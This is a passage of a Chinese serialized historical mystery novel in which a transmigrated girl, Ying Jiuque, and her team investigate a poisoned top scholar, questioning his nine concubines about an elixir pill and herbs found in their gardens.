在大家齐刷刷的注视下,那些进来的金甲卫身子都僵硬了。呃,他们平日里都驻守皇宫,出身不说极贵,但也是达官贵人家里的子弟,这些年金尊玉贵的养着,很少和底层百姓这么近距离接触过。本来还有些嫌弃或者敬而远之的态度,但在应九阙三言两语之下,在这些百姓期待忐忑的目光中,心中竟生出一种异样的感觉。或许,或许我就是应该这样? 虽然好像没听说过要这么做,但是看看大家伙儿期盼认同的目光吧,让这群还年轻的小伙子们顿时热血上头,也不嫌弃应九阙竟让他们守着平民百姓的巷子,十分认真的点头。 看着他们略显青涩的模样,那位骗了九阙一袋糖渍瓜子的大娘眼珠一转,嘴皮子利利索索的。 “这些小伙子们还年轻,夜里冷,等着,大娘把我儿子的衣服拿来给你们御寒吧,放心,都是崭新崭新,没穿过得。” “就是!人家可是为了咱们的安全才会来这里守着,咱也不能让人家白白挨饿受冻啊!走,去大爷家里吃点儿东西!” “走走走!先吃完饭在干活也不迟!” 那群小伙子们被这热情围拢的都有点儿受不了了,脸红得很,求救的眼神投向了应九阙。 魏渊觉得稀奇,自己的兄弟们还没赶来,这几个都是陛下的金甲卫,平日里在宫中也会遇见。虽说不是金甲卫中的精锐,但总是比普通侍卫高出一等,可从来没见他们这么害羞过。 九阙看一眼那位鸡贼的大娘,嘴角浮起一个笑,然后溜之大吉。当然了,大家虽然热情,但金甲卫们当差时不能随意外食,所以只能拒绝了。 本来离开的九阙还在想自己今晚要住哪里,没想到刚走出一条街,就看见一辆低调的青布马车停在街角处。赶车的小太监虽然一身布衣,但偶尔的动作还是能看出来些许特征。 一见到应九阙,那小太监高兴极了,连忙请四人上车。 等看到笑眯眯的老皇帝时,大家才确定了心中所想,原来陛下一直在等着他们啊。糟糕,得想想待会儿说什么才是。 【连口热水都没喝就要继续上班。人家都是牛马,我们是核动力驴!老皇帝鞭子玩的可真是利索!】 第十三章 恶心! 听见这熟悉的心声,老皇帝原本扬起来的微笑有些勉强,下一刻就善解人意的拍拍手,早就准备好的宫人捧着珍馐美味依次呈了上来。 奔波了一天,九阙几个都饿的前胸贴后背,赶紧谢恩。 淳于霜谢明尘魏渊都有不同程度的拘谨,就连魏渊,虽在皇宫当差,但与皇帝一起吃饭,还是让他的胃有些负担。 唯一一个不受影响的应该就是九阙了吧。 在景泰帝说了自便之后就当真了,吃的那叫一个欢快。 【唔!这个醉鸡好好吃!还有这个千层酥怎么做的,好吃到流泪啊!还有这个沙糕!天!软绵绵的,还带着些凉意,这是冰镇过吗?不愧是御厨做的饭!就是好吃!】 本来还想借机听听应九阙心里想的什么的老皇帝一时间听了这么多菜名,有些意外。但看着对方头都抬不起来的样子,眉眼多了一丝丝轻松。 哎,世人都觉得皇帝好,确实很好。但当皇帝也有会累的时候,尤其满朝都是挂着面具办事的官,你看着他忠君爱国的皮,都不知道里面那颗心是不是真的鲜艳血红。 这么多年来,唯一一个叫他觉得里外一样的,竟然是这个才见了不到一天的小姑娘。 虽然因为今天这一连串的事儿根本吃不下饭,但这会儿看着应九阙吃的香甜,景泰帝竟然也有些饿了。 跃跃欲试的吃了一块儿面前的千层酥,嗯,御厨的手艺相当不错。入口化渣,再轻轻一咬,甜香味儿就这么出来了。还有那沙糕,里面用了金丝小枣,格外香浓,还有炸鹌鹑,焦香酥脆咸香,十分不错…… 不知不觉,景泰帝就将面前的吃食用了个七七八八,一边服侍的九福睁大了眼,看看吃的香甜的应九阙,再看看小心翼翼没有大动作的干儿子,那叫一个恨铁不成钢。这人啊,自己一个吃饭的时候确实会没有胃口,可是身边就有一个吃的香甜的例子,一被带动,怎么着都会多吃点儿。 高兴之余,连九福都有些怀疑,这应九阙,当真不是陛下的沧海遗珠?陛下看她也太顺眼了吧? 片刻过后,九阙终于吃饱,满足的舒了口气,看着剩下的几块儿点心,目光那叫一个依依不舍。 【可惜这是皇宫,不能打包……】 景泰帝手一顿,有些无奈。算了,还是问正事吧。 “今日出去可有收获?” 听见陛下问话,四人不禁绷紧了神经,不过淳于霜几个不约而同的看向了应九阙。 九阙:“……” 看我做什么?我好像不是官吧?虽然是个县主来着,可这只是封女眷的荣耀,你们仨才是真正有编制的官啊!这时候不应该你们回答给上司增添点儿印象? 这个想法,就连淳于霜都有些抗拒。咳咳咳,那啥,虽然今日的陛下不知为何在他们面前十分温和,萨但三人很清楚,平日里的陛下可不是这样。这可是马背上厮杀出来的皇帝,杀伐果断,当初能怒斩半朝官员的狠人!他们这小官小吏的,还真够不上陛下怒一怒。而且他们又不是傻子,怎么可能看不出来陛下这会儿眼神盯着的是谁? 无奈之下,九阙只好站出来,将自己今日见到的一切都说出来。 “……桐花巷中的女子……似有更多外室还未查出,还需要更多人手……” 景泰帝一心二用,同时听着九阙嘴上和心里的话也不吃力,虽然没有什么太大的收获,但至少这孩子没有一点儿假话啊。 等应九阙停下的时候,景泰帝意外听到她心里在犹豫。 【老皇帝刚吃过饭,现在让他看那种画是不是有些不太好?他不会拍案大怒吧?啧,都怪那个死状元,死都死了,还叫人这么恶心!】 嗯? 这倒是叫景泰帝好奇了。同时有些不服输,什么东西他不能看,可别小瞧了他,他可是见过无数死状狰狞的死人的。战场上,怎么死的人都有,他早就已经习惯了。 “可惜,一朝状元,本该为国为民好生做事,偏偏这般行迹恶劣,主考官也是群废物,怎么就看不出来余朗的真面目!不过话说回来,就没有实质性的证据?” 景泰帝这话锋转的有点儿快了,九阙有些反应不过来,下意识的将袖子里的画拿了出来。 这都已经拿出来了,总不能当大家眼瞎吧,九阙只得将这画交给了九福。 看到那张惟妙惟肖的避火图,景泰帝有些意外,不过他今年都五十了,什么大风大浪没见过?倒不至于大怒。难道是应九阙自己害羞? 九阙动了动嘴,有些犹豫。景泰帝眼尖的看见这一幕,十分自然的开口。 “这是余朗藏起来的?虽说登不得明面,但也只能算是品行微瑕?” 果然,九阙反应十分激烈! “陛下!那余朗品行败坏!虽然已死,但我还是得说一句,死的不亏!” “哦?为什么?” “……陛下没见过我等今日见的人,他那两个外室,都,都在画中。” 此言一出,在场众人都瞠目结舌! 男人看避火图不稀奇,女子出嫁前看的也不少啊。但,把自己的妾画到上面的男人…… 这是什么奇怪的癖好? 景泰帝勉强抚了抚桌面。 “呃,这个,确实有伤风俗……” “陛下!” 知道这会儿不说清楚是不成了,九阙环顾四周,发现在场之人不多,只得轻声开口。 “这上面有些脸,不是余朗的妾室!臣女今日见了很多美人,起码有那么一两个出现在上面。” 将这话在脑子里过了好几遍,景泰帝还是有些茫然,今日所见美人?应九阙今日从林府进宫,然后就是出去查案。好像也没什么奇怪的…… 低头再看看那张香艳火辣的避火图,因为用的工笔画法,人脸又小,一时间还真看不出什么来,但电光火石之间,景泰帝脑海中猛然想通了关节! 今日是他的寿宴,来参加寿宴的还能有谁?大臣们的妻女,皇亲国戚的妻子女儿,甚至,还有他的妃子女儿! 第十四章 到底来自哪儿? “砰!” 景泰帝猛然踹了一脚面前的桌案,桌子上的盘盘碗碗跳动滚落,发出叮叮当当的声音,所有人都忙不迭跪伏下去,噤若寒蝉。 空气中好一段时间只能听见景泰帝愤怒的喘气声! 【完了完了!我就知道不该说!但皇帝这么爱重自己的臣子吗?爱屋及乌了这是。不过余朗也真是够恶心的,不过是新科进士游街时遇到了那些看热闹的贵女们,就这般作践人家,真恶心!好在他是死了,要是没死,我也得给他一刀!人渣!】 【不知道这年代对女孩子们的名声很在意吗?而且连自己的外室都这样,真是有够恶心!等等!这完蛋玩意儿不会准备用这种图画去威胁别人吧?尤其是那些贵人们家里的妻子女儿……】 景泰帝本来稍微放松点儿的心情陡然坐了个过山车,那叫一个跌宕起伏。 这会儿没有喷火就已经是他最大的隐忍。 那个余朗的尸体呢?朕要将他碎尸万段! 四周一片平静,大家小心翼翼的觑着景泰帝的反应,实在是已经被这逼仄压抑的氛围弄得心情十分沉重。 此刻,景泰帝回神,狠狠地一拍桌子! “放肆!” “哗啦啦!” 众人本来就跪的很规范,这会儿就差没有五体投地了。 景泰帝直接化身桌面清理大师,将桌子上所有的东西一扫而过,尽数倒在地上,那叫一个惨不忍睹。 “余朗此人,目无法纪,乖张恶劣,人面兽心!该死!” 妥了! 听见这句话,九阙松了口气。至少那些无辜的女孩子们不会被余朗牵连了。 等陛下冷静下来,直接打发了众人去偏殿居住。虽说有些不合时宜,但这种时候,谁敢多说些什么?于是九阙几个得以睡了个舒舒服服的觉。唯一一个连晚上都睡不好的,就是魏渊了。 当那三人离开之后,魏渊又被悄悄召回,将今日看到的一切尽数说出得到了景泰帝长久的沉默。 虽然没在场,但景泰帝通过魏渊的话可以推测出当时的场景。其余的他已经知道,但应九阙说出那段安抚桐花巷街坊的话,还是叫景泰帝有些震惊。 应九阙回来之后甚至没心思回想这件事,说明这对她来说,真的是一件很简单的事,理所当然到不会对此感到讶异。可关键是,普天之下,根本就没有能和普通百姓井水不犯河水的官员。现在太平时节还成,他还没当上皇帝的时候,将士杀民冒功的事儿也不是没有。甚至当初和他争夺天下的时候,有一只起义军根本不担心粮草不够吃的问题,因为他们平日里就把抓来的百姓当成粮食。 平常干活,饭点儿时候下锅! 所以,那时候的百姓们,最怕的就是看见当兵当官的。景泰帝其实这些年一直在想,这个天下,到底是谁的天下。那些文人们总说,皇帝是上天之子,代行天道。可如果这天下当真属于皇帝,为什么他年轻时遇到的尽是一些不干人事的混账东西?那个时候,末帝还在宫中寻欢作乐,身为上天之子,他难道看不到这天下已经哀鸿遍野民不聊生? 皇帝也就算了,辅佐皇帝治理天下的臣子们呢?他们为何也看不见? 虽说这十三年的皇帝生活确实叫他养尊处优了许多,手握实权的皇帝也很少有臣子敢违逆,但不知为何,想起末帝时期的惨状,景泰帝还是不寒而栗,并时常有种无能为力陷入泥沼的约束感。 那么问题来了,一直生活在这样一个世界的应九阙,为什么会有和大多数人不一样的认知?可别说从小生活在庄子里没接触过外面,越是这样,越能理解世间的残酷不是? 可应九阙虽然时时露出一股死志,但行为偏偏有异于常人之处。再加上这奇异的,只有自己一人能听见的心声,好像,就好像…… 不是这个世界的人? 那一定是个比此方世界好很多很多的世界,好到让一个到了成亲年纪的女孩儿,依旧有种浑然天成的赤子之心。不然,她也不会将那图画一把塞起来了。 可是这么说来,难道那些道士和尚们所说的仙界极乐之所当真存在? 心里转过这些有的没的,景泰帝一时觉得心绪烦乱,看见规规矩矩跪在一边的魏渊,干脆让他先离开。 “明日继续查,那个余朗到底做了多少脏事儿!都给朕扒出来!” 魏渊动了动嘴,有些想劝,但还是没说什么,转身走了。 倒是九福在小心服侍陛下用茶的时候忍不住提起。 “陛下,那余朗确实可恶,奴才听着都觉得可恨。但,他毕竟是历经选拔才选出来的状元,若是将他的恶行公布于众,会不会有损朝廷的颜面……” 景泰帝揉了揉额角,对此不屑一顾。 “颜面?朝廷还有个屁的颜面!损失也损失的那几个考官!还有礼部!怎么安排的考试,这种人都选出来,这天下是没别的才子了?” 景泰帝一向务实,对面子啥的没那么重视,而且,难道那些无辜的女子就要因为这什么颜面得不到公道吗? 那余朗还真得庆幸自己死了,要不然,景泰帝都要把他碎尸万段! 冷静下来,景泰帝看一眼今日金甲卫查出来的卷宗,尤其是应九阙今日的所作所为,忍不住露出个微笑。 “这孩子,倒是做的不错。” 九福安静的瞥了一眼,将应九阙这个名字牢牢的记在心里。得到陛下关注的人不多,这个叫应九阙的小姑娘,还真是够幸运。作为陛下最得用的大太监,他得时刻关注陛下的好恶才是。 是夜。 虽然白日里闹了一场,不过夜深了,桐花巷基本上都灭了灯。芸娘是少数彻夜未眠的人,她不断张望着门口的方向,脸上是白日里未曾见过的担忧紧张,来回走动着,将一双修长白皙的手揉捏的一片通红。以前也没发现,那当官的怎么这样负责?都夜深了也不休息…… 突然,昏暗的灯光下,一双手握住了她。 第十五章 九个外室?不怕累死啊 芸娘险些蹦起来,但在看清楚来人时松了口气。 “蓉儿,你怎么不大睡?是我吵到你了吗?” 原来是个小姑娘。 芸娘已经是个普通人里难得一见的清秀美人,这个十岁左右的小姑娘虽然年纪小,但那张白净的小脸闪着动人心魄的光,肉眼可见的是个美人坯子。她与芸娘眉宇之间有那么一点儿相似,只是更为精致。 这会儿,这小姑娘轻轻握住芸娘的手,一双翦水秋瞳里流露出清楚的担忧,眉头也微微蹙了起来。 芸娘轻轻揉了揉她的头发,尽量放松语气。 “别担心,我没事。只是白日里闹了那么一场,有些在意。不过,你也看到了不是吗?今日来的那几个哥哥姐姐,他们看起来都像是很好的人,而且也确实帮了我们。外面那些守着的人,都是来保护我们安全的。所以蓉儿不用担心我了,好好睡一觉,好吗?” 那小姑娘明显还是很不放心,但还是乖乖的顺着她的意思离开了。 这一夜,芸娘一夜未眠。 第二日一早,九阙用过宫里奢华的饭菜,才发现竟只有淳于霜和自己一起用餐,魏渊倒也算了,毕竟人家是宫中的护卫,而且还是九福大监的义子,说不定去人家义父那里歇着了。但谢明尘呢? “谢医者去冰库看余朗的尸体了。” 淳于霜擦了擦手,慢条斯理的告诉左右看的九阙。 哦? 九阙顿了顿,难道那谢明尘有了新的线索? 还真是。急匆匆赶回来的谢明尘带回来了一个叫九阙淳于霜震惊的消息。 “余朗中的毒比较复杂,一时间分辨不出是什么毒,只从表现出来的特征发现有毒。除了宫宴那天吃的食物之外,我从他胃里找出来小半块儿残留的丹药。” “丹药?” 九阙若有所思。 “难道余朗喜欢磕丹药?但我听说,基本上所有的丹药都是有毒的。尤其是加了水银朱砂之类重金属的丹药,对人体极其有害,他不会中的丹毒吧?” 大家都有些吃惊。 毕竟这个时候众人对于丹药还是相当敬畏的。毕竟这可是集天地日月之精华才练出来的丹药,大多修行不到家的道士还会炸炉呢!能炼成一炉丹药,可不是简单的事儿。 可听应九阙的话,这丹药,吃不得? 不管心里信不信这种说法,大家都没有直接反驳,谢明尘倒是挺激动。 “原来应县主也这么想,小臣曾经上报过丹药的弊端,奈何……” 看谢明尘这沮丧的模样,肯定是没人信他了。 只能说这就是时代的弊端吧。要是搁现代你让别人吃颗来历不明的丹药试试? “所以那丹药有毒?” 谢明尘遗憾的摇了摇头。 “残余的丹药太少了,无法验证是不是有毒,但这丹药应是余朗去了偏殿之后才入口的,因为在院正第一次为他诊脉的时候,余朗并没有中毒的迹象。” “所以,那丹药还真是有毒啊。谢医者,那余朗身上有没有剩余的丹药?” “没有,只有这个东西。” 九阙还以为是什么重要的东西,结果一看,竟然是个黄纸折的平安符,不过和普通的平安符不同,更像一个折起来的纸包,看那大小,刚好够装一枚丹药的。 这年头,丹药也搞饥饿营销了? “这倒是个线索。” 让谢明尘收好这纸包,这也是个不小的线索,是谢明尘的功劳,应九阙干脆让他负责这个。 几人整顿了一番,再次出宫,出宫门口的时候,一个漆黑的人影突然冒了出来。 见到是魏渊,应九阙总算是明白什么叫做神出鬼没了。 和他沉默寡言的性子不同,魏渊已经得到了不少一手消息。倒是没有想象中扫蔽自珍,反而十分大方的分享给应九阙他们。 “余朗共有妾室九人,分散在不同的街巷中,已经派人去请,每个小院都已经控制住,随时可以前去查询。” 在出发的时候得到这样一个消息,几人都松了口气,至少调查不是一无所获。不过九阙关注的点比较奇葩。 “不是,我怎么觉得不对劲呢。余朗一介书生,也没有个父母亲族帮衬,虽是状元,可也是新考上,还没当官呢,养九个外室,他哪儿来这么多银子?而且,他不怕累死?” 她可是记得,芸娘金花住的院子虽然小巧,但布置精致,位置也好。甚至里面一些器具极为精致,少说也得上百两。养一个还好,但养九个…… 余朗哪儿来这么多钱? 路上的时候大家还在讨论这件事,若是他在外面有什么生意也就算了,但魏渊的手下已经去查余朗名下的契书,发现还真没庄铺,甚至那些小院也都是租赁的。这就有些说不通了啊。 实在是想不通,九阙暂且搁置,去了暂押那些外室们的院子。或许因为此案深得陛下关注,所以办案的官员们没有怠慢。此刻九个风姿各不相同的女子在屋里还能有个座。只是在进去的一刹那,九阙觉得空气里有种怪异的紧张焦灼感。 在进来之前九阙已经得到消息,这九个女子自从被关押以来,就一直保持沉默。就算看见彼此,也没有说话,看来是不认识彼此。至于紧张,好端端的女子突然被人高马大的官府人带走,谁都会感到紧张。 “啪啪啪!” 拍了拍手,让众人的注意力集中在自己身上,九阙笑眯眯的看着芸娘和金花。 “二位姐姐昨日已经见过,剩下的几位姐姐,咱们认识一下吧?我是应九阙,应陛下要求,处理状元余朗在寿宴上无端暴毙一事。九位很不巧,刚好是余朗的妾室。余朗还未娶妻,你们就是他最亲近的人,能不能将昨日,前日,余朗的一切行为说个清楚?放心,只要把事情搞清楚,大家很快就能离开这里回家,余朗也能得到个清净。” 在静寂之中,九阙笑眯眯的。 “那,谁先来说说?” 短暂的沉默过后,一个略带病气的文弱女子主动站出来。 “咳咳,我,妾身拂柳,住荷花巷。前日傍晚时分,余朗来过我这里,本来是要在这里过夜的,但收到了一封街上小孩子送的信,就急匆匆离开了。” 第十六章 姐妹情深? 有了主动打头的,而且也没人苛责,剩下的女子也都纷纷说出了余朗的行踪。 “妾室碧荷,家住白云胡同,余朗这几日一直没来过……” “妾身洛楚,家住桃花巷,余朗前天中午来过一趟,说是让妾身给他做个精致些的荷包,要装重要的东西,不过妾身的荷包还没有做好,他就,就没了。” “我是安然,家住三柳巷,余朗三日前来过我这里,那时候眉飞色舞,说自己做成了一件大事,以后会有享不尽的荣华富贵,让我小心伺候,以后要是迎娶了大家之女,就让我进门做个正正经经的妾室。” “余朗也说过这个!他还说自己如今已是状元,日后的婚事自然会更上一层楼,还说以后若是找到一个合心意的夫人,也让我去做小……” 本来大家在正常讲述自己的身份,但是在听见余朗惯用的说辞之后忍不住加入其中,越来越多的消息被说了出来,九阙听的津津有味。 不过余朗是真渣啊,养着九个漂亮姐姐,还惦记着那些达官贵人家里的小姐呢?不过,人家既然出身好,又怎么可能会选择年纪这么大的他呢?这对自己未免也太过自信了些。 九阙是这么想的,也是这么做的,直接就说了出来,那个叫拂柳的姑娘倒是为他解了惑。 “有一次余朗喝醉酒,说那些达官贵人家里的女子被娇养的天真愚蠢,只要对他略好些,总会对自己倾心。而且他还是状元,那些一直在闺阁之中的女子又怎能抵挡得了?” “再不济……” 说到这里,拂柳似乎是觉得难以启齿,有些迟疑。毕竟面前这位姑娘看起来就出身很好,甚至可以被陛下任命出来差案子,这可是自从新朝建立都没有出现过的事啊!那些话对一个姑娘来说,确实太过分了些。 没想到应九阙却十分坦然。 “余朗是不是还说过,再不济,也能用用手段,骗得那些天真稚嫩的姑娘没了清白。对那些权贵世家的女子来说,名声清白极为重要,到时候为了自己不被清算,总会想法子逼着家里同意下嫁给自己?” 九个各有千秋的女子呆呆的看着九阙,这姑娘看起来也不大,怎么就看的这么透彻?竟让她们不知该说些什么了。 最后也只得点了点头。 “他,确实说过类似的话。” 拂柳顿了顿,没说自己当初听了这话,只觉得一阵恶心。余朗长得一表人才,要不然也不会哄了那么多女子信任。再加上识文断字,又增添了一种独有的斯文气质。但是再好的皮囊在说起这种算计的时候,也显得阴狠毒辣。 他一个四十多岁的男人,算计起那些十几二十岁的姑娘竟然如此不遗余力,实在是叫人胆寒。 可让拂柳感到无力的是,她只是一个外室,连自己的命运都无法主宰,更别说帮别人了。 “除此之外,他倒是没什么特别的。实在是,余朗出去干什么,一般也不会跟我们说。因为他经常说一句话……” 金花突然接口。 “他是不是说,‘女子无才就是德’?还让我们少打听?” “对!他总是说,男人在外面打拼,女人就该乖乖待在内宅,做好饭菜,侍奉夫君,柔顺贤惠,才是女子本性。” 应九阙直接一口干吐沫喷出来。 “我呸!” “还敢曲解老祖宗的意思,亏他还是个读书人!还是个状元!” 不仅仅是老皇帝,就连九阙自己都开始怀疑,余朗这状元来的是不是有水分?这种人品的人也能做状元,真是奇了。 不过话说回来,就算礼部的人如何仔细,知人知面不知心啊,余朗这么会伪装,就算抛弃当初的爱人也能把自己说的莲花一样洁白,哄骗一下其他人那不是轻而易举? 只是现在说这些都没用了,九阙干脆点了点。 “不知几位姐姐有没有见他平日里服食丹药?” 几人你看看我,我看看你,有些茫然的摇了摇头。九阙还没来得及失望,就看见金花略有些犹豫迟疑,顿时来了兴致。 “金花姐姐可有发现?” “我倒是见他吃过药,但不知道是不是丹药,因为他说那是补身体的草药,因为不方便随身携带,所以才制成了丸子。我闻着,确实有股草药味儿。” 谢明尘在一边微不可见的点了点头。 “那丹药里确实加入了大量药材,补气益血,但,里面还有其他东西。” 这里人多嘴杂,谢明尘没有多说,不过应九阙也瞬间明白,这是里面添了其他致命的玩意儿。不会真是朱砂水银吧? 不过这玩意儿到底是从哪儿弄来的呢? 就在九阙思考的时候,突然听见一阵急促的咳嗽声,原来是看起来身体不怎么样的拂柳,这会儿忍不住一阵呛咳,而且原本白皙的脸蛋这会儿也变得绯红,充血,甚至还有些喘不上气。 那些女孩子们顿时一阵惊呼,离得最近的金花芸娘顺手就扶住了弱柳扶风的拂柳,一人轻拍她的脊背,一人顺手拿了一杯茶准备让她喘匀了气喝。 当察觉不对之际,芸娘僵硬转头,就看见了应九阙好奇的目光。 “你们,还挺熟?” 余朗有这本事?能让自己的外室们和睦相处?不过,她们之前不是说根本不熟悉吗? “我,我们只是,看她有些辛苦,所以顺手帮一把罢了。” “就是,怎么说我们都是余朗的外室,总有一份情分在,如今他不在了,我们也没别个亲人,彼此就是最大的亲人了。” 看着金花着急忙慌解释的样子,九阙笑眯眯的,看起来不太正派。 “知道知道,就是姐妹情深嘛。不过拂柳姐姐,你是身体不好?要不要让我们谢太医给你看看?他可是太医院出身,别看年纪小点儿,那医术可是一等一的棒!” 平复下来之后的拂柳摇了摇头。 “久病成医,妾身从小就身子不好,这是胎里带来的弱症,这小半辈子,药吃了一箩筐,病还是半分没好。谢太医那是给天潢贵胄看病的,我只是个小小的外室,没的让谢太医为难。” 喘了口气,拂柳接着说。 “方才是突然情急,想起之前余朗吃药的时候,不小心拉了一颗在家里,这才咳上的……” 第十七章 莫大的野心 听到这个,应九阙可就不困了,问清楚位置之后自然有人前去寻找,应九阙则是笑眯眯的让谢明尘帮个忙。 “姐姐放心,谢太医人很好的怎么可能不愿意?而且姐姐这般品貌,要是真的被疾病所困,岂不是太过可惜?而且这么好的机会,以后可不一定能遇到。瞧姐姐身上这药香,都入味儿了,药可不是什么好喝的东西。金花姐姐,你说呢?” 金花下意识的点了点头。 “就是啊拂柳,这……” 说到一半就被拂柳给打断了。 “多谢姑娘,那拂柳就恭敬不如从命了。” 这么迫不及待? 九阙眼睛一闪,笑眯眯的看着这一幕,好像什么都没注意到,就在一边安静的带待着,等谢明尘开了药,才给淳于霜一个眼神笑眯眯的离开。 跟出来的淳于霜疑惑的很。 九阙干脆一把拽住淳于霜的胳膊,亲热的不得了。实则轻轻在她耳边开口。 “你很想要一个机会吧?现在这个机会来了。” 淳于霜身子一僵,跟着应九阙坐上马车离开的路上犹豫了许久,还是忍不住询问。 “你到底知道什么?” “你是想问这个案子还是你?” 淳于霜纠结片刻,还是指了指自己。 九阙觉得这其实也没什么难的吧。毕竟这个世道如此偏颇,前朝末年的时候明明女子还可以出来为官做宰,可分短短十几年过去,当初那些女官们如今还剩下几个?不都烟消云散了? 可以淳于霜的年纪,应该是见过当初女子有多大自由的。虽然她一直比较寡言,办案过程中几乎像个隐形人,自己说去哪儿她都认同,没有发表过自己的意见,就像一个最忠诚的下属,但九阙知道,这人心里藏着巨大的野心。否则,景泰帝为什么偏偏选了她出来? 又或者,对方是藏着取信自己的想法? 想到这里,九阙也觉得奇怪。 “你怎么知道我值得利用?我不过是个小小的县主,还是因为早逝的娘亲福泽才当上的。你也看到了,我不受父亲期待,在庄子里待了十三年,一点儿宠爱都没有,不过是个孤家寡人。这次陛下虽然让我查案,但谁都知道,这只是陛下和文武百官的一场博弈。我们查出来,不一定会受到合理的嘉奖,但我们查不出来,一定是被扔出来的石子。朝中那些大人物们谁轻轻踩上一脚,我就会粉身碎骨,信赖这样的我,是你没有其他选择了?” “……” 车厢里一阵死寂,就连外面赶车的谢明尘都不自觉屏住了呼吸。他虽然一心不问尘世只沉浸在医药之中,也能感觉得出来两人之间的火药味儿。明明之前大家虽然没怎么交流,但相处起来很是和谐啊,怎么突然就变了? 在一片死寂中,淳于霜死死盯着应九阙带着笑意的眼睛好半晌,才叹了口气。 “下官又能有什么想法?只是当一天和尚撞一天钟罢了。只要陛下一日未撤销下官的职位,下官就一日是刑部司务。虽然位卑职小,但,只要在这位置上一日,就会听从陛下的命令一日。陛下让下官怎么做,下官就怎么做。” “至于选择您……” 淳于霜突然舒展眉眼笑了。 “自然是因为县主您深受陛下信任啊。如果陛下不信任您,又怎么会将这重任交给您?这世上确实有人会不愿做投石问路的那颗石子,可就算那颗石子是随手挑出来的,就算那石子最终会粉身碎骨,也有的是人愿意去当。毕竟,有的人连想当颗石子的机会都没有。” 原来如此。 这人有着十分强烈的向上爬的野心。哪怕会粉身碎骨,也绝不畏惧,为此,也已经有了粉身碎骨的觉悟。 虽然应九阙不觉得老皇帝对自己有多么信任,但这样的人物,她也是十分尊敬的。 “我不敢确保自己会不会被随手抛之,但淳于,你可真是个大女子!放心,能帮上忙的我一定努力,这案子,今儿说不定就破了。当然,魏渊那边也得加把力气。咱们这个七零八落的小队,总得让各位大人们看看,咱们可不是吃素的。” “谢小哥,麻烦再快些!” “好!” 两炷香过后,三人看着手中的东西,再看看脏兮兮的对方,默契的露出个微笑。 等魏渊传来消息之后,九阙三个干脆在小院里等着,当疑犯都被带过来的时候,仨人这会儿还在嘀嘀咕咕的小声议论呢。 短暂的沉默过后,还是为首的那人颤声询问。 “这位小姐,您,您这是做什么?” 其实对方是想问为什么把人家家里弄成这鸡飞狗跳的样子,不过是碍于她们身边那些高大侍卫不敢开口罢了。 九阙给了淳于霜一个眼神,淳于上前一步,将手中东西展示给对方看。 “芸娘姑娘,这东西,你应该认识吧?” 芸娘看一眼淳于霜手里还带着泥土的草,有些茫然。 “这不是杂草吗?” 再看一眼自家被搅得乱七八糟的菜园子,若有所思。 “这难道是我家菜园里的杂草?可您,为什么拔了?” “事到如今,再装也没什么意思了。芸娘,你真的不认识这东西?” “妾身当真不认识……” “好!” 淳于霜猛然提高声音,看向脸色不太自然的金花。 “金花姑娘,这么说来,你也不认识这玩意儿?” “我,我当然不认识。这不过是随处可见的杂草,怎么就值得特地拿出来一问?” “金花姑娘可能不清楚什么叫太医院出身。举国上下百万人中,每年只二十人有资格进入太医院学习,说句万里挑一都不为过。我身边这位谢恩粮生,从小就熟读医理,对举世草药了如指掌,更是因此被破格提拔,是太医院中最年轻有为的医者,只需要闻闻味道就知道那是什么草药,你知道这意味着什么吗?” 金花的睫毛有些颤抖,但还是强撑着开口。 “意味着什么?” “自然是意味着,这东西是杂草还是草药,他一见就知。所以现在,你还认为这就是一棵杂草而已?” 第十八章 这些草药,均无毒 金花咽了口唾沫,喉咙有些艰涩。 “我不知道你在说什么。我只是个普通的山野女子,怎么可能认识你说的什么草药?这在我们农家人眼里,分明就是杂草。这年头,就算再怎么勤劳,谁家院子里不会长些杂草?再说了,小姐你问我这个做噩什么?难道你说这杂草长在我们家院里就有罪?” 淳于霜摇摇头。 “当然不会。刑部是执掌天下刑事案件的地方,公平公正,可不会因为家中有杂草就判断一个人有罪。” “既然如此……” 只是金花这口气还没喘允,就听见淳于霜的声音悄悄响起。 “可我似乎并没有说过这草实在你家院子里挖的吧?咱们现在不是在酝酿姑娘家中?为何你觉得我手里的草是你家的?难道说,你家也有这样的草?” 金花的脸有些白,但却依旧不肯承认。 “那自然是因为大人您问的是我,如果问的是其他人,她们也会觉得你说的是她家的东西。否则,你怎么不问别人,偏来问我?” “不错。” 淳于霜拍拍手,其实比较佩服金花姑娘。这姑娘虽然看起来似乎不太聪明,但人家是真正的大智若愚。虽说给余朗这样的人做外室眼光不太好,但这胆色可是一等一的好。这都已经问到脸上了,却还是淡定的很。 当然,如果只有这点儿,可抹不掉自己的嫌疑。 “金花姑娘,为何要如此抵抗?这分明是最简单不过的问话。不过,你既然说起这个来了,我也想起另外一件事。” 淳于霜将这棵焉头焉脑的青草放在桌子上,一时间所有人都忍不住将目光投了过去。 这时候,桐花巷的木老几个也被请了过来,看见那青草,却都有些茫然,表示自己并没有见过这杂草。当听到转述的金花的话之后都摇头了。 “大人说笑了。咱们这桐花巷虽然小,但位置好啊,每家每户就那么大地方,怎么能不好好用?每一寸地方都得规整好,像这小菜园,那种什么应季青菜都得提前计划好。毕竟在皇城里,就算是一把青菜,都得花铜板买,能自己种出来不是省了钱吗?谁会跟钱过不去?所以别说杂草了,有些人家连盆花都不舍得买,怎么可能浪费好端端的土地让它长杂草?” “是啊,我家那屁股大小的地方都种了小青菜哎老姐姐你戳我干啥?哦哦哦,实在是对不住啊,我老婆子年纪大了,说话不太过脑子,冒昧了,冒昧了。” 淳于霜轻咳几声,她虽说在官场上彪悍些,敢和男人抢夺,可却少见这些乡里俚语,这会儿有些不自在,可偏头看看应九阙,发现这位却一点儿都没不自在,甚至还嘿嘿笑了几下,十分不符合一个大家闺秀应该有的样子。 但是想想这位从小在庄子上长大,应该是习惯了吧。 转回正题上,淳于霜继续发挥。 “所以金花姑娘,为何你说的常见杂草,这几位老人家都没见过?更神奇的是,这杂草不在桐花巷杏花巷这些地方的人家家里生长,偏偏在你家里,和芸娘姑娘家里长?” 芸娘和金花的脸色都不太好看,但嘴唇动了动,谁都不肯开口。 也就是这个时候,魏渊带着一众人和物证赶了回来。看着那堆满了桌子的各色杂草,一众女子脸色都有些异样,但还算撑得住,但当看见那颤巍巍被带过来的人证——回春堂老大夫时,还是有些绷不住。 淳于霜看一眼脸色不太好的女子们,心里也有些叹息。 “李大夫,你看看这些人,有没有认识的?” 回春堂就在桐花巷街口位置,因为价格公道,里面的老大夫医者仁心,大家都喜欢去他那里。每日去那里的人那么多,老大夫年事已高,看着这满院子年轻女子,眼都花了。看了半晌,还是摇了摇头。 